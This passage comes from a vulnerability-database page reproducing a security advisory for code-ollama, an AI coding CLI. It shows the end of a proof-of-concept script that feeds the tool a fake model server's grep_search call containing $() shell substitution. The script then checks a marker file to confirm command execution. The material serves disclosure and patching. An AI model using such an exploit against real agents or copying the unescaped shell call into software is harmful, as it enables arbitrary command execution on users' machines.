env[\"OLLAMA_HOST\"] = f\"http://{FAKE_SERVER_HOST}:{FAKE_SERVER_PORT}\"\n\n # Use the compiled CLI bundle produced by `npm run build` in the Dockerfile\n cmd = [\n \"node\", \"/app/dist/cli.js\",\n \"run\", \"--trust\", \"fake\", \"search the code\",\n ]\n\n print(f\"[*] Executing: {\u0027 \u0027.join(cmd)}\")\n print(f\"[*] OLLAMA_HOST={env[\u0027OLLAMA_HOST\u0027]}\")\n print()\n\n try:\n result = subprocess.run(\n cmd,\n env=env,\n stdin=subprocess.DEVNULL, # no TTY / interactive input needed\n capture_output=True,\n text=True,\n timeout=60,\n cwd=\"/workspace\",\n )\n except subprocess.TimeoutExpired:\n print(\"[-] code-ollama subprocess timed out after 60 s\")\n sys.exit(1)\n\n print(\"--- code-ollama stdout ---\")\n print(result.stdout[:3000] if result.stdout else \"(empty)\")\n print(\"--- code-ollama stderr ---\")\n print(result.stderr[:3000] if result.stderr else \"(empty)\")\n print(f\"--- exit code: {result.returncode} ---\")\n print()\n\n # -----------------------------------------------------------------------\n # 3. Verify exploitation: check for the marker file\n # -----------------------------------------------------------------------\n if os.path.exists(MARKER_FILE):\n evidence = open(MARKER_FILE).read().strip()\n print(\"[+] ============================================================\")\n print(\"[+] EXPLOITATION CONFIRMED\")\n print(\"[+] ============================================================\")\n print(f\"[+] Marker file : {MARKER_FILE}\")\n print(f\"[+] Contents : {evidence!r}\")\n print(\"[+] Explanation : The $() command substitution inside the\")\n print(\"[+] grep_search pattern was NOT escaped by code-ollama\u0027s\")\n print(\"[+] sanitizer (grep.ts:58-63 only strips \\\\ and \\\").\")\n print(\"[+] execShell() passed the raw string to child_process.exec()\")\n print(\"[+] which ran it through /bin/sh, executing the injected\")\n print(\"[+] command as the current user.\")\n print(\"[+] ============================================================\")\n sys.exit(0)\n else:\n print(\"[-] ============================================================\")\n print(\"[-] EXPLOITATION FAILED\")\n print(f\"[-] Expected marker file NOT found: {MARKER_FILE}\")\n print(\"[-] Possible causes:\")\n print(\"[-] - ollama-npm parsed tool_call.arguments differently\")\n print(\"[-] - The pattern was sanitized before reaching execShell()\")\n print(\"[-] - ripgrep is not installed so the fallback path was taken\")\n print(\"[-] - The shell used does not support $() substitution\")\n print(\"[-] ============================================================\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-456v-xq2p-r4cj",
"modified": "2026-09-28T13:59:43Z",
"published": "2026-09-28T13:59:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ai-action/code-ollama/security/advisories/GHSA-456v-xq2p-r4cj"
},
{
"type": "PACKAGE",
"url": "https://github.com/ai-action/code-ollama"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "code-ollama: `grep_search` Command Injection via Unescaped `$()` Shell Substitution (CWE-78)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.